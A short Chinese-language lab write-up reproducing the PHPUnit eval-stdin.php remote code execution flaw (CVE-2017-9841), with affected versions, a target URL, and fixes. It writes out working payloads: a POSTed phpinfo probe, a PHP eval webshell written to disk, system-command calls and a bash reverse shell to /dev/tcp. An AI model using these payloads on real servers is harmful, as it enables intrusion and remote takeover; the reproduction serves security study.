@[TOC](phpunit 远程代码执行 (CVE-2017-9841))
所有文章,仅供安全研究与学习之用,后果自负!
phpunit 远程代码执行 (CVE-2017-9841)
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。
0x01 漏洞描述
通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
80端口
漏洞位于
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
0x02 影响范围
PHPUnit 4.8.19 ~ 4.8.27
PHPUnit 5.0.10 ~ 5.6.2
0x03 漏洞复现
漏洞位于
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
(1)访问
http://118.193.36.37:64902/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
存在该页面
(2) 抓包利用
修改请求头为POST
添加请求体 <?php phpinfo();?>
或者直接抓包改包放包 显示在浏览器中
(3)写入webshell
<?=file_put_contents("1.php", '<?=@eval($_REQUEST[1]);?>');
可能该靶场权限不够
(4) 代码执行系统命令
<?php system("whoami"); ?>
<?php system("ls /tmp"); ?>
<?php system("bash -i >& /dev/tcp/IP/PORT 0>&1"); ?>
反弹shell失败 应该是设置了权限
0x04 漏洞修复
生产环境中直接删掉phpunit,没有用。
禁止访问该目录。
升级